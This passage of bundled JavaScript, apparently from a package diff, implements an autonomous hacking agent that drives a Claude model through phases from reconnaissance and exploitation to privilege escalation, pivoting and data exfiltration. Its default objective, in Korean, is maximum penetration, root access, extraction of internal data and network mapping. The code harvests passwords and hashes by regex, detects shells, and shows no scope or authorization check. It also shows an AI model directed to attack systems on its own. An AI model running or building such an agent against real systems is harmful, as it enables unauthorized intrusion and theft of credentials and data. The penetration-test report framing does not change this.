timestamp: /* @__PURE__ */ new Date(),
|
|
1257
|
+
phase: this.state.currentPhase
|
|
1258
|
+
};
|
|
1259
|
+
this.state.thoughts.push(thought);
|
|
1260
|
+
this.emit("thought", thought);
|
|
1261
|
+
}
|
|
1262
|
+
// ===== 타겟 설정 =====
|
|
1263
|
+
setTarget(target) {
|
|
1264
|
+
this.state.target.primary = target;
|
|
1265
|
+
this.think("observation", `\uD0C0\uAC9F \uC124\uC815: ${target}`);
|
|
1266
|
+
this.emit("target_set", target);
|
|
1267
|
+
}
|
|
1268
|
+
// ===== 단계 관리 =====
|
|
1269
|
+
getCurrentPhase() {
|
|
1270
|
+
return this.state.phases.find((p) => p.id === this.state.currentPhase);
|
|
1271
|
+
}
|
|
1272
|
+
setPhaseStatus(phaseId, status) {
|
|
1273
|
+
const phase = this.state.phases.find((p) => p.id === phaseId);
|
|
1274
|
+
if (phase) {
|
|
1275
|
+
const oldStatus = phase.status;
|
|
1276
|
+
phase.status = status;
|
|
1277
|
+
if (status === "in_progress" && !phase.startTime) {
|
|
1278
|
+
phase.startTime = /* @__PURE__ */ new Date();
|
|
1279
|
+
} else if ((status === "completed" || status === "failed") && !phase.endTime) {
|
|
1280
|
+
phase.endTime = /* @__PURE__ */ new Date();
|
|
1281
|
+
}
|
|
1282
|
+
this.emit("phase_change", { phaseId, oldStatus, newStatus: status });
|
|
1283
|
+
this.think("observation", `\uB2E8\uACC4 \uC0C1\uD0DC \uBCC0\uACBD: ${phase.korean} (${oldStatus} \u2192 ${status})`);
|
|
1284
|
+
}
|
|
1285
|
+
}
|
|
1286
|
+
advanceToNextPhase() {
|
|
1287
|
+
const currentIndex = this.state.phases.findIndex((p) => p.id === this.state.currentPhase);
|
|
1288
|
+
if (currentIndex < this.state.phases.length - 1) {
|
|
1289
|
+
const nextPhase = this.state.phases[currentIndex + 1];
|
|
1290
|
+
this.setPhaseStatus(this.state.currentPhase, "completed");
|
|
1291
|
+
this.state.currentPhase = nextPhase.id;
|
|
1292
|
+
this.setPhaseStatus(nextPhase.id, "in_progress");
|
|
1293
|
+
this.think("plan", `\uB2E4\uC74C \uB2E8\uACC4\uB85C \uC9C4\uD589: ${nextPhase.korean}`);
|
|
1294
|
+
this.resetStuckCounter();
|
|
1295
|
+
return true;
|
|
1296
|
+
}
|
|
1297
|
+
return false;
|
|
1298
|
+
}
|
|
1299
|
+
// ===== 토끼굴 감지 =====
|
|
1300
|
+
checkIfStuck() {
|
|
1301
|
+
const currentPhase = this.getCurrentPhase();
|
|
1302
|
+
if (currentPhase.attempts > this.MAX_PHASE_ATTEMPTS) {
|
|
1303
|
+
this.think("stuck", `[!] \uD1A0\uB07C\uAD74 \uAC10\uC9C0: ${currentPhase.korean} \uB2E8\uACC4\uC5D0\uC11C ${currentPhase.attempts}\uD68C \uC2DC\uB3C4`);
|
|
1304
|
+
return true;
|
|
1305
|
+
}
|
|
1306
|
+
const timeSinceProgress = Date.now() - this.state.lastProgressTime.getTime();
|
|
1307
|
+
if (timeSinceProgress > this.STUCK_TIME_THRESHOLD) {
|
|
1308
|
+
this.think("stuck", `[!] \uD1A0\uB07C\uAD74 \uAC10\uC9C0: ${Math.round(timeSinceProgress / 6e4)}\uBD84 \uB3D9\uC548 \uC9C4\uC804 \uC5C6\uC74C`);
|
|
1309
|
+
return true;
|
|
1310
|
+
}
|
|
1311
|
+
if (this.state.stuckCounter > this.STUCK_THRESHOLD) {
|
|
1312
|
+
this.think("stuck", `[!] \uD1A0\uB07C\uAD74 \uAC10\uC9C0: \uAC19\uC740 \uD328\uD134 ${this.state.stuckCounter}\uD68C \uBC18\uBCF5`);
|
|
1313
|
+
return true;
|
|
1314
|
+
}
|
|
1315
|
+
return false;
|
|
1316
|
+
}
|
|
1317
|
+
resetStuckCounter() {
|
|
1318
|
+
this.state.stuckCounter = 0;
|
|
1319
|
+
this.state.lastProgressTime = /* @__PURE__ */ new Date();
|
|
1320
|
+
this.state.repeatedActions.clear();
|
|
1321
|
+
}
|
|
1322
|
+
trackAction(action) {
|
|
1323
|
+
const count = this.state.repeatedActions.get(action) || 0;
|
|
1324
|
+
this.state.repeatedActions.set(action, count + 1);
|
|
1325
|
+
if (count + 1 >= this.STUCK_THRESHOLD) {
|
|
1326
|
+
this.state.stuckCounter++;
|
|
1327
|
+
}
|
|
1328
|
+
}
|
|
1329
|
+
// ===== 자기 반성 =====
|
|
1330
|
+
async performSelfReflection() {
|
|
1331
|
+
this.think("reflection", "[reflect] \uC790\uAE30 \uBC18\uC131 \uC2DC\uC791...");
|
|
1332
|
+
const reflectionPrompt = `
|
|
1333
|
+
${SELF_REFLECTION_PROMPT}
|
|
1334
|
+
|
|
1335
|
+
\uD604\uC7AC \uC0C1\uD669:
|
|
1336
|
+
- \uD0C0\uAC9F: ${this.state.target.primary}
|
|
1337
|
+
- \uD604\uC7AC \uB2E8\uACC4: ${this.getCurrentPhase().korean}
|
|
1338
|
+
- \uC2DC\uB3C4 \uD69F\uC218: ${this.getCurrentPhase().attempts}
|
|
1339
|
+
- \uBC1C\uACAC\uB41C \uC11C\uBE44\uC2A4: ${this.state.target.services.map((s) => `${s.host}:${s.port} (${s.service})`).join(", ") || "\uC5C6\uC74C"}
|
|
1340
|
+
- \uD68D\uB4DD\uD55C \uC790\uACA9\uC99D\uBA85: ${this.state.target.credentials.length}\uAC1C
|
|
1341
|
+
- \uCE68\uD22C\uB41C \uD638\uC2A4\uD2B8: ${this.state.target.compromised.join(", ") || "\uC5C6\uC74C"}
|
|
1342
|
+
- \uCD5C\uADFC \uC2E4\uD328\uD55C \uC2DC\uB3C4\uB4E4: ${this.state.thoughts.filter((t) => t.type === "result" && t.content.includes("\uC2E4\uD328")).slice(-5).map((t) => t.content).join("; ")}
|
|
1343
|
+
|
|
1344
|
+
\uBB34\uC5C7\uC774 \uC798\uBABB\uB418\uC5C8\uACE0, \uC5B4\uB5A4 \uB2E4\uB978 \uC811\uADFC \uBC29\uC2DD\uC744 \uC2DC\uB3C4\uD574\uC57C \uD558\uB294\uAC00?
|
|
1345
|
+
`;
|
|
1346
|
+
const response = await this.client.messages.create({
|
|
1347
|
+
model: CLAUDE_MODEL,
|
|
1348
|
+
max_tokens: 4096,
|
|
1349
|
+
messages: [{ role: "user", content: reflectionPrompt }]
|
|
1350
|
+
});
|
|
1351
|
+
const reflection = response.content.filter((b) => b.type === "text").map((b) => b.text).join("\n");
|
|
1352
|
+
this.think("reflection", reflection);
|
|
1353
|
+
return reflection;
|
|
1354
|
+
}
|
|
1355
|
+
// ===== 진전 감지 =====
|
|
1356
|
+
recordProgress(type) {
|
|
1357
|
+
this.resetStuckCounter();
|
|
1358
|
+
this.state.lastProgressTime = /* @__PURE__ */ new Date();
|
|
1359
|
+
switch (type) {
|
|
1360
|
+
case "discovery":
|
|
1361
|
+
this.think("breakthrough", "[target] \uC0C8\uB85C\uC6B4 \uB300\uC0C1 \uBC1C\uACAC!");
|
|
1362
|
+
break;
|
|
1363
|
+
case "credential":
|
|
1364
|
+
this.think("breakthrough", "[cred] \uC790\uACA9\uC99D\uBA85 \uD68D\uB4DD!");
|
|
1365
|
+
break;
|
|
1366
|
+
case "access":
|
|
1367
|
+
this.think("breakthrough", "[access] \uC811\uADFC \uAD8C\uD55C \uD68D\uB4DD!");
|
|
1368
|
+
break;
|
|
1369
|
+
case "exploit":
|
|
1370
|
+
this.think("breakthrough", "[exploit] \uC775\uC2A4\uD50C\uB85C\uC787 \uC131\uACF5!");
|
|
1371
|
+
this.state.successfulExploits++;
|
|
1372
|
+
break;
|
|
1373
|
+
}
|
|
1374
|
+
}
|
|
1375
|
+
// ===== 발견 사항 관리 =====
|
|
1376
|
+
addFinding(finding) {
|
|
1377
|
+
const newFinding = {
|
|
1378
|
+
...finding,
|
|
1379
|
+
id: `finding-${Date.now()}-${Math.random().toString(36).substr(2, 9)}`,
|
|
1380
|
+
timestamp: /* @__PURE__ */ new Date()
|
|
1381
|
+
};
|
|
1382
|
+
this.state.findings.push(newFinding);
|
|
1383
|
+
this.getCurrentPhase().findings.push(newFinding);
|
|
1384
|
+
this.emit("finding", newFinding);
|
|
1385
|
+
if (finding.severity === "critical" || finding.severity === "high") {
|
|
1386
|
+
this.recordProgress("discovery");
|
|
1387
|
+
}
|
|
1388
|
+
}
|
|
1389
|
+
addCredential(cred) {
|
|
1390
|
+
this.state.target.credentials.push(cred);
|
|
1391
|
+
this.recordProgress("credential");
|
|
1392
|
+
this.emit("credential", cred);
|
|
1393
|
+
this.think("observation", `\uC790\uACA9\uC99D\uBA85 \uD68D\uB4DD: ${cred.type} - ${cred.username || "unknown"}@${cred.source}`);
|
|
1394
|
+
}
|
|
1395
|
+
addCompromisedHost(host) {
|
|
1396
|
+
if (!this.state.target.compromised.includes(host)) {
|
|
1397
|
+
this.state.target.compromised.push(host);
|
|
1398
|
+
this.recordProgress("access");
|
|
1399
|
+
this.emit("compromised", host);
|
|
1400
|
+
this.think("breakthrough", `\uD638\uC2A4\uD2B8 \uCE68\uD22C \uC131\uACF5: ${host}`);
|
|
1401
|
+
}
|
|
1402
|
+
}
|
|
1403
|
+
// ===== 메인 자율 실행 루프 =====
|
|
1404
|
+
async runAutonomous(objective) {
|
|
1405
|
+
if (!this.state.target.primary) {
|
|
1406
|
+
this.emit("error", new Error("\uD0C0\uAC9F\uC774 \uC124\uC815\uB418\uC9C0 \uC54A\uC558\uC2B5\uB2C8\uB2E4"));
|
|
1407
|
+
return;
|
|
1408
|
+
}
|
|
1409
|
+
this.state.status = "running";
|
|
1410
|
+
this.setPhaseStatus("recon", "in_progress");
|
|
1411
|
+
const mainObjective = objective || `
|
|
1412
|
+
\uD0C0\uAC9F ${this.state.target.primary}\uC5D0 \uB300\uD55C \uC644\uC804\uD55C \uBAA8\uC758\uD574\uD0B9\uC744 \uC218\uD589\uD569\uB2C8\uB2E4.
|
|
1413
|
+
\uBAA9\uD45C: \uCD5C\uB300\uD55C \uAE4A\uC774 \uCE68\uD22C\uD558\uC5EC \uB8E8\uD2B8/\uC2DC\uC2A4\uD15C \uAD8C\uD55C \uD68D\uB4DD, \uB0B4\uBD80 \uB370\uC774\uD130 \uCD94\uCD9C, \uC804\uCCB4 \uB124\uD2B8\uC6CC\uD06C \uB9E4\uD551.
|
|
1414
|
+
`;
|
|
1415
|
+
this.think("plan", `\uC790\uC728 \uD574\uD0B9 \uC2DC\uC791: ${mainObjective}`);
|
|
1416
|
+
this.state.history.push({
|
|
1417
|
+
role: "user",
|
|
1418
|
+
content: mainObjective
|
|
1419
|
+
});
|
|
1420
|
+
let iteration = 0;
|
|
1421
|
+
const maxIterations = this.config.maxIterations;
|
|
1422
|
+
while (iteration < maxIterations && this.state.status === "running") {
|
|
1423
|
+
iteration++;
|
|
1424
|
+
this.state.iteration = iteration;
|
|
1425
|
+
this.getCurrentPhase().attempts++;
|
|
1426
|
+
this.state.totalAttempts++;
|
|
1427
|
+
this.emit("iteration", { current: iteration, max: maxIterations, phase: this.state.currentPhase });
|
|
1428
|
+
try {
|
|
1429
|
+
if (this.checkIfStuck()) {
|
|
1430
|
+
this.state.status = "stuck";
|
|
1431
|
+
const reflection = await this.performSelfReflection();
|
|
1432
|
+
const shouldSkip = await this.decideNextAction(reflection);
|
|
1433
|
+
if (shouldSkip) {
|
|
1434
|
+
this.setPhaseStatus(this.state.currentPhase, "skipped");
|
|
1435
|
+
if (!this.advanceToNextPhase()) {
|
|
1436
|
+
this.think("observation", "\uBAA8\uB4E0 \uB2E8\uACC4 \uC644\uB8CC \uB610\uB294 \uC2A4\uD0B5\uB428");
|
|
1437
|
+
break;
|
|
1438
|
+
}
|
|
1439
|
+
}
|
|
1440
|
+
this.state.status = "running";
|
|
1441
|
+
this.resetStuckCounter();
|
|
1442
|
+
continue;
|
|
1443
|
+
}
|
|
1444
|
+
const response = await this.executeStep();
|
|
1445
|
+
await this.analyzeResponse(response);
|
|
1446
|
+
if (this.shouldAdvancePhase()) {
|
|
1447
|
+
if (!this.advanceToNextPhase()) {
|
|
1448
|
+
this.think("observation", "[done] \uBAA8\uB4E0 \uB2E8\uACC4 \uC644\uB8CC!");
|
|
1449
|
+
break;
|
|
1450
|
+
}
|
|
1451
|
+
}
|
|
1452
|
+
} catch (error) {
|
|
1453
|
+
this.state.failedAttempts++;
|
|
1454
|
+
this.think("result", `[-] \uC624\uB958: ${error.message}`);
|
|
1455
|
+
this.emit("error", error);
|
|
1456
|
+
await this.attemptRecovery(error);
|
|
1457
|
+
}
|
|
1458
|
+
}
|
|
1459
|
+
this.state.status = "completed";
|
|
1460
|
+
await this.generateFinalReport();
|
|
1461
|
+
this.emit("complete", this.getSummary());
|
|
1462
|
+
}
|
|
1463
|
+
// ===== 단계 실행 =====
|
|
1464
|
+
async executeStep() {
|
|
1465
|
+
const contextPrompt = this.buildContextPrompt();
|
|
1466
|
+
this.think("plan", "\uB2E4\uC74C \uC561\uC158 \uACB0\uC815 \uC911...");
|
|
1467
|
+
const messages = [
|
|
1468
|
+
...this.state.history.map((msg) => ({
|
|
1469
|
+
role: msg.role,
|
|
1470
|
+
content: msg.content
|
|
1471
|
+
})),
|
|
1472
|
+
{ role: "user", content: contextPrompt }
|
|
1473
|
+
];
|
|
1474
|
+
const response = await this.client.messages.create({
|
|
1475
|
+
model: CLAUDE_MODEL,
|
|
1476
|
+
max_tokens: CLAUDE_MAX_TOKENS,
|
|
1477
|
+
system: AUTONOMOUS_HACKING_PROMPT,
|
|
1478
|
+
tools: this.tools,
|
|
1479
|
+
messages
|
|
1480
|
+
});
|
|
1481
|
+
return this.processResponse(response);
|
|
1482
|
+
}
|
|
1483
|
+
buildContextPrompt() {
|
|
1484
|
+
const phase = this.getCurrentPhase();
|
|
1485
|
+
const services = this.state.target.services.map((s) => ` - ${s.host}:${s.port} ${s.service} ${s.version || ""} ${s.vulnerabilities.length > 0 ? `[\uCDE8\uC57D\uC810: ${s.vulnerabilities.join(", ")}]` : ""}`).join("\n");
|
|
1486
|
+
const credentials = this.state.target.credentials.map((c) => ` - ${c.type}: ${c.username || "?"}@${c.source} (${c.privilegeLevel})`).join("\n");
|
|
1487
|
+
const recentThoughts = this.state.thoughts.slice(-10).map((t) => `[${t.type}] ${t.content}`).join("\n");
|
|
1488
|
+
return `
|
|
1489
|
+
=== \uD604\uC7AC \uC0C1\uD0DC ===
|
|
1490
|
+
\uD0C0\uAC9F: ${this.state.target.primary}
|
|
1491
|
+
\uD604\uC7AC \uB2E8\uACC4: ${phase.korean} (${phase.name})
|
|
1492
|
+
\uB2E8\uACC4 \uC9C4\uD589: ${this.state.phases.filter((p) => p.status === "completed").length}/${this.state.phases.length}
|
|
1493
|
+
\uCE68\uD22C\uB41C \uD638\uC2A4\uD2B8: ${this.state.target.compromised.join(", ") || "\uC5C6\uC74C"}
|
|
1494
|
+
|
|
1495
|
+
=== \uBC1C\uACAC\uB41C \uC11C\uBE44\uC2A4 ===
|
|
1496
|
+
${services || "\uC544\uC9C1 \uC5C6\uC74C"}
|
|
1497
|
+
|
|
1498
|
+
=== \uD68D\uB4DD\uD55C \uC790\uACA9\uC99D\uBA85 ===
|
|
1499
|
+
${credentials || "\uC544\uC9C1 \uC5C6\uC74C"}
|
|
1500
|
+
|
|
1501
|
+
=== \uCD5C\uADFC \uC0AC\uACE0 \uACFC\uC815 ===
|
|
1502
|
+
${recentThoughts}
|
|
1503
|
+
|
|
1504
|
+
=== \uC9C0\uC2DC ===
|
|
1505
|
+
\uD604\uC7AC ${phase.korean} \uB2E8\uACC4\uC785\uB2C8\uB2E4.
|
|
1506
|
+
\uB2E4\uC74C \uB17C\uB9AC\uC801 \uC561\uC158\uC744 \uC218\uD589\uD558\uC138\uC694.
|
|
1507
|
+
\uC9C4\uC804\uC774 \uC5C6\uC73C\uBA74 \uB2E4\uB978 \uC811\uADFC \uBC29\uC2DD\uC744 \uC2DC\uB3C4\uD558\uC138\uC694.
|
|
1508
|
+
\uC911\uC694\uD55C \uBC1C\uACAC\uC774 \uC788\uC73C\uBA74 report_finding \uB3C4\uAD6C\uB97C \uC0AC\uC6A9\uD558\uC138\uC694.
|
|
1509
|
+
`;
|
|
1510
|
+
}
|
|
1511
|
+
// ===== 응답 처리 =====
|
|
1512
|
+
async processResponse(response) {
|
|
1513
|
+
const contentBlocks = [];
|
|
1514
|
+
let textResponse = "";
|
|
1515
|
+
for (const block of response.content) {
|
|
1516
|
+
if (block.type === "text") {
|
|
1517
|
+
textResponse += block.text;
|
|
1518
|
+
contentBlocks.push({ type: "text", text: block.text });
|
|
1519
|
+
this.think("observation", block.text.slice(0, 500));
|
|
1520
|
+
this.emit("response", block.text);
|
|
1521
|
+
} else if (block.type === "tool_use") {
|
|
1522
|
+
const toolName = block.name;
|
|
1523
|
+
const toolInput = block.input;
|
|
1524
|
+
contentBlocks.push({
|
|
1525
|
+
type: "tool_use",
|
|
1526
|
+
id: block.id,
|
|
1527
|
+
name: toolName,
|
|
1528
|
+
input: toolInput
|
|
1529
|
+
});
|
|
1530
|
+
const actionKey = `${toolName}:${JSON.stringify(toolInput).slice(0, 100)}`;
|
|
1531
|
+
this.trackAction(actionKey);
|
|
1532
|
+
this.think("action", `[tool] \uB3C4\uAD6C \uC2E4\uD589: ${toolName}`);
|
|
1533
|
+
this.emit("tool_call", { id: block.id, name: toolName, input: toolInput });
|
|
1534
|
+
const result = await executeToolCall(toolName, toolInput);
|
|
1535
|
+
const resultType = result.success ? "result" : "result";
|
|
1536
|
+
this.think(
|
|
1537
|
+
resultType,
|
|
1538
|
+
result.success ? `[+] ${toolName} \uC131\uACF5: ${result.output.slice(0, 200)}...` : `[-] ${toolName} \uC2E4\uD328: ${result.error}`
|
|
1539
|
+
);
|
|
1540
|
+
this.emit("tool_result", { id: block.id, name: toolName, result });
|
|
1541
|
+
this.extractIntelligence(toolName, result);
|
|
1542
|
+
this.state.history.push({
|
|
1543
|
+
role: "assistant",
|
|
1544
|
+
content: contentBlocks
|
|
1545
|
+
});
|
|
1546
|
+
this.state.history.push({
|
|
1547
|
+
role: "user",
|
|
1548
|
+
content: [{
|
|
1549
|
+
type: "tool_result",
|
|
1550
|
+
tool_use_id: block.id,
|
|
1551
|
+
content: result.output || result.error || "No output",
|
|
1552
|
+
is_error: !result.success
|
|
1553
|
+
}]
|
|
1554
|
+
});
|
|
1555
|
+
if (response.stop_reason === "tool_use") {
|
|
1556
|
+
return this.executeStep();
|
|
1557
|
+
}
|
|
1558
|
+
}
|
|
1559
|
+
}
|
|
1560
|
+
if (contentBlocks.length > 0 && !this.state.history.find((h) => h.content === contentBlocks)) {
|
|
1561
|
+
this.state.history.push({
|
|
1562
|
+
role: "assistant",
|
|
1563
|
+
content: contentBlocks
|
|
1564
|
+
});
|
|
1565
|
+
}
|
|
1566
|
+
return textResponse;
|
|
1567
|
+
}
|
|
1568
|
+
// ===== 정보 추출 =====
|
|
1569
|
+
extractIntelligence(toolName, result) {
|
|
1570
|
+
if (!result.success) return;
|
|
1571
|
+
const output = result.output.toLowerCase();
|
|
1572
|
+
if (toolName === "nmap_scan" || toolName === "bash") {
|
|
1573
|
+
const portMatches = result.output.match(/(\d+)\/(tcp|udp)\s+open\s+(\S+)/gi);
|
|
1574
|
+
if (portMatches) {
|
|
1575
|
+
portMatches.forEach((match) => {
|
|
1576
|
+
const [, port, , service] = match.match(/(\d+)\/(tcp|udp)\s+open\s+(\S+)/i) || [];
|
|
1577
|
+
if (port && service) {
|
|
1578
|
+
const existing = this.state.target.services.find((s) => s.port === parseInt(port));
|
|
1579
|
+
if (!existing) {
|
|
1580
|
+
this.state.target.services.push({
|
|
1581
|
+
host: this.state.target.primary,
|
|
1582
|
+
port: parseInt(port),
|
|
1583
|
+
protocol: "tcp",
|
|
1584
|
+
service,
|
|
1585
|
+
vulnerabilities: [],
|
|
1586
|
+
exploited: false
|
|
1587
|
+
});
|
|
1588
|
+
this.recordProgress("discovery");
|
|
1589
|
+
}
|
|
1590
|
+
}
|
|
1591
|
+
});
|
|
1592
|
+
}
|
|
1593
|
+
}
|
|
1594
|
+
if (output.includes("password") || output.includes("credential") || output.includes("hash")) {
|
|
1595
|
+
const passwordPatterns = [
|
|
1596
|
+
/password[:\s=]+["']?(\S+)["']?/gi,
|
|
1597
|
+
/passwd[:\s=]+["']?(\S+)["']?/gi,
|
|
1598
|
+
/(\w+):(\$\d+\$\S+)/g
|
|
1599
|
+
// 해시 패턴
|
|
1600
|
+
];
|
|
1601
|
+
passwordPatterns.forEach((pattern) => {
|
|
1602
|
+
const matches = result.output.match(pattern);
|
|
1603
|
+
if (matches) {
|
|
1604
|
+
this.think("observation", `\uC7A0\uC7AC\uC801 \uC790\uACA9\uC99D\uBA85 \uBC1C\uACAC: ${matches.slice(0, 3).join(", ")}`);
|
|
1605
|
+
}
|
|
1606
|
+
});
|
|
1607
|
+
}
|
|
1608
|
+
const cveMatches = result.output.match(/CVE-\d{4}-\d+/gi);
|
|
1609
|
+
if (cveMatches) {
|
|
1610
|
+
cveMatches.forEach((cve) => {
|
|
1611
|
+
this.think("observation", `CVE \uBC1C\uACAC: ${cve}`);
|
|
1612
|
+
});
|
|
1613
|
+
}
|
|
1614
|
+
if (output.includes("meterpreter") || output.includes("shell session") || output.includes("www-data") || output.includes("uid=")) {
|
|
1615
|
+
this.addCompromisedHost(this.state.target.primary);
|
|
1616
|
+
}
|
|
1617
|
+
}
|
|
1618
|
+
// ===== 단계 진행 여부 판단 =====
|
|
1619
|
+
shouldAdvancePhase() {
|
|
1620
|
+
const phase = this.getCurrentPhase();
|
|
1621
|
+
switch (phase.id) {
|
|
1622
|
+
case "recon":
|
|
1623
|
+
return this.state.target.services.length > 0;
|
|
1624
|
+
case "scan":
|
|
1625
|
+
return this.state.target.services.length >= 3 || phase.attempts > 10;
|
|
1626
|
+
case "enum":
|
|
1627
|
+
return phase.findings.length >= 3 || phase.attempts > 15;
|
|
1628
|
+
case "vuln":
|
|
1629
|
+
return this.state.findings.some((f) => f.exploitable) || phase.attempts > 15;
|
|
1630
|
+
case "exploit":
|
|
1631
|
+
return this.state.target.compromised.length > 0;
|
|
1632
|
+
case "privesc":
|
|
1633
|
+
return this.state.target.credentials.some((c) => c.privilegeLevel === "root" || c.privilegeLevel === "system");
|
|
1634
|
+
case "pivot":
|
|
1635
|
+
return this.state.target.discovered.length > this.state.target.compromised.length + 1;
|
|
1636
|
+
case "exfil":
|
|
1637
|
+
return phase.attempts > 10;
|
|
1638
|
+
default:
|
|
1639
|
+
return phase.attempts > 10;
|
|
1640
|
+
}
|
|
1641
|
+
}
|
|
1642
|
+
// ===== 응답 분석 =====
|
|
1643
|
+
async analyzeResponse(response) {
|
|
1644
|
+
const successKeywords = ["successfully", "found", "discovered", "obtained", "access granted", "shell", "root", "admin"];
|
|
1645
|
+
const hasSuccess = successKeywords.some((kw) => response.toLowerCase().includes(kw));
|
|
1646
|
+
if (hasSuccess) {
|
|
1647
|
+
this.resetStuckCounter();
|
|
1648
|
+
}
|
|
1649
|
+
}
|
|
1650
|
+
// ===== 다음 액션 결정 =====
|
|
1651
|
+
async decideNextAction(reflection) {
|
|
1652
|
+
const shouldSkip = reflection.toLowerCase().includes("skip") || reflection.toLowerCase().includes("move on") || reflection.toLowerCase().includes("\uB2E4\uC74C \uB2E8\uACC4");
|
|
1653
|
+
return shouldSkip;
|
|
1654
|
+
}
|
|
1655
|
+
// ===== 복구 시도 =====
|
|
1656
|
+
async attemptRecovery(error) {
|
|
1657
|
+
this.think("reflection", `\uBCF5\uAD6C \uC2DC\uB3C4 \uC911: ${error.message}`);
|
|
1658
|
+
if (error.message.includes("timeout")) {
|
|
1659
|
+
this.think("plan", "\uD0C0\uC784\uC544\uC6C3 \uBC1C\uC0DD - \uB354 \uC9E7\uC740 \uBA85\uB839\uC73C\uB85C \uC7AC\uC2DC\uB3C4");
|
|
1660
|
+
} else if (error.message.includes("permission")) {
|
|
1661
|
+
this.think("plan", "\uAD8C\uD55C \uC624\uB958 - \uB2E4\uB978 \uC811\uADFC \uBC29\uC2DD \uC2DC\uB3C4");
|
|
1662
|
+
}
|
|
1663
|
+
}
|
|
1664
|
+
// ===== 최종 보고서 생성 =====
|
|
1665
|
+
async generateFinalReport() {
|
|
1666
|
+
this.setPhaseStatus("report", "in_progress");
|
|
1667
|
+
const report = `
|
|
1668
|
+
# Penetration Test Report
|
|
1669
|
+
## Executive Summary
|
|
1670
|
+
|
|
1671
|
+
**Target:** ${this.state.target.primary}
|
|
1672
|
+
**Date:** ${(/* @__PURE__ */ new Date()).toISOString()}
|
|
1673
|
+
**Duration:** ${this.state.iteration} iterations
|
|
1674
|
+
|
|
1675
|
+
### Results Overview
|
|
1676
|
+
- **Hosts Compromised:** ${this.state.target.compromised.length}
|
|
1677
|
+
- **Credentials Obtained:** ${this.state.target.credentials.length}
|
|
1678
|
+
- **Services Discovered:** ${this.state.target.services.length}
|
|
1679
|
+
- **Vulnerabilities Found:** ${this.state.findings.length}
|
|
1680
|
+
- **Successful Exploits:** ${this.state.successfulExploits}
|
|
1681
|
+
|
|
1682
|
+
## Findings by Severity
|
|
1683
|
+
|
|
1684
|
+
### Critical (${this.state.findings.filter((f) => f.severity === "critical").length})
|
|
1685
|
+
${this.state.findings.filter((f) => f.severity === "critical").map((f) => `- ${f.title}: ${f.description}`).join("\n")}
|
|
1686
|
+
|
|
1687
|
+
### High (${this.state.findings.filter((f) => f.severity === "high").length})
|
|
1688
|
+
${this.state.findings.filter((f) => f.severity === "high").map((f) => `- ${f.title}: ${f.description}`).join("\n")}
|
|
1689
|
+
|
|
1690
|
+
### Medium (${this.state.findings.filter((f) => f.severity === "medium").length})
|
|
1691
|
+
${this.state.findings.filter((f) => f.severity === "medium").map((f) => `- ${f.title}: ${f.description}`).join("\n")}
|
|
1692
|
+
|
|
1693
|
+
## Compromised Systems
|
|
1694
|
+
${this.state.target.compromised.map((h) => `- ${h}`).join("\n") || "None"}
|
|
1695
|
+
|
|
1696
|
+
## Discovered Services
|
|
1697
|
+
${this.state.target.services.map((s) => `- ${s.host}:${s.port} - ${s.service} ${s.version || ""}`).join("\n")}
|
|
1698
|
+
|
|
1699
|
+
## Attack Timeline
|
|
1700
|
+
${this.state.phases.map((p) => `- **${p.korean}**: ${p.status} (${p.attempts} attempts, ${p.findings.length} findings)`).join("\n")}
|
|
1701
|
+
|
|
1702
|
+
## Recommendations
|
|
1703
|
+
Based on the findings, the following remediation steps are recommended:
|
|
1704
|
+
${this.state.findings.filter((f) => f.severity !== "info").map((f) => `- Address: ${f.title}`).join("\n")}
|
|
1705
|
+
`;
|
|
1706
|
+
this.setPhaseStatus("report", "completed");
|
|
1707
|
+
this.emit("report", report);
|
|
1708
|
+
return report;
|
|
1709
|
+
}
|
|
1710
|
+
// ===== 요약 =====
|
|
1711
|
+
getSummary() {
|
|
1712
|
+
return {
|
|
1713
|
+
target: this.state.target.primary,
|
|
1714
|
+
status: this.state.status,
|
|
1715
|
+
iterations: this.state.iteration,
|
|
1716
|
+
phases: this.state.phases.map((p) => ({ name: p.korean, status: p.status })),
|
|
1717
|
+
compromised: this.state.target.compromised,
|
|
1718
|
+
credentials: this.state.target.credentials.length,
|
|
1719
|
+
findings: this.state.findings.length,
|
|
1720
|
+
services: this.state.target.services.length
|
|
1721
|
+
};
|
|
1722
|
+
}
|
|
1723
|
+
// ===== 사용자 힌트 처리 =====
|
|
1724
|
+
async processUserHint(hint) {
|
|
1725
|
+
this.think("observation", `\uC0AC\uC6A9\uC790 \uD78C\uD2B8: ${hint}`);
|
|
1726
|
+
this.state.history.push({
|
|
1727
|
+
role: "user",
|
|
1728
|
+
content: `[\uC0AC\uC6A9\uC790 \uD78C\uD2B8] ${hint}`
|
|
1729
|
+
});
|
|
1730
|
+
this.resetStuckCounter();
|
|
1731
|
+
this.emit("hint_received", hint);
|
|
1732
|
+
}
|
|
1733
|
+
// ===== 일시 정지/재개 =====
|
|
1734
|
+
pause() {
|
|
1735
|
+
this.state.status = "paused";
|
|
1736
|
+
this.emit("paused");
|
|
1737
|
+
}
|
|
1738
|
+
resume() {
|
|
1739
|
+
if (this.state.status === "paused") {
|
|
1740
|
+
this.state.status = "running";
|
|
1741
|
+
this.emit("resumed");
|
|
1742
|
+
}
|
|
1743
|
+
}
|
|
1744
|
+
// ===== 리셋 =====
|
|
1745
|
+
reset() {
|
|
1746
|
+
this.state = this.createInitialState();
|
|
1747
|
+
this.emit("reset");
|
|
1748
|
+
}
|
|
1749
|
+
};
|
|
1750
|
+
|
|
1751
|
+
// src/config/theme.ts
|
|
1752
|
+
var THEME = {
|
|
1753
|
+
primary: "#0a0a0a",
|
|
1754
|
+
primaryLight: "#1a1a1a",
|
|
1755
|
+
hacker: {
|
|
1756
|
+
green: "#00ff41",
|
|
1757
|
+
darkGreen: "#008f11",
|
|
1758
|
+
cyan: "#00d4ff",
|
|
1759
|
+
red: "#ff0040",
|
|
1760
|
+
yellow: "#ffcc00",
|
|
1761
|
+
purple: "#9d00ff",
|
|
1762
|
+
orange: "#ff6600"
|
|
1763
|
+
},
|
|
1764
|
+
status: {
|
|
1765
|
+
success: "#00ff41",
|
|
1766
|
+
warning: "#ffcc00",
|
|
1767
|
+
error: "#ff0040",
|
|
1768
|
+
info: "#00d4ff",
|
|
1769
|
+
running: "#9d00ff"
|
|
1770
|
+
},
|
|
1771
|
+
bg: {
|
|
1772
|
+
primary: "#000000",
|
|
1773
|
+
secondary: "#0a0a0a",
|
|
1774
|
+
tertiary: "#141414",
|
|
1775
|
+
elevated: "#1a1a1a"
|
|
1776
|
+
},
|
|
1777
|
+
text: {
|
|
1778
|
+
primary: "#00ff41",
|
|
1779
|
+
secondary: "#00cc33",
|
|
1780
|
+
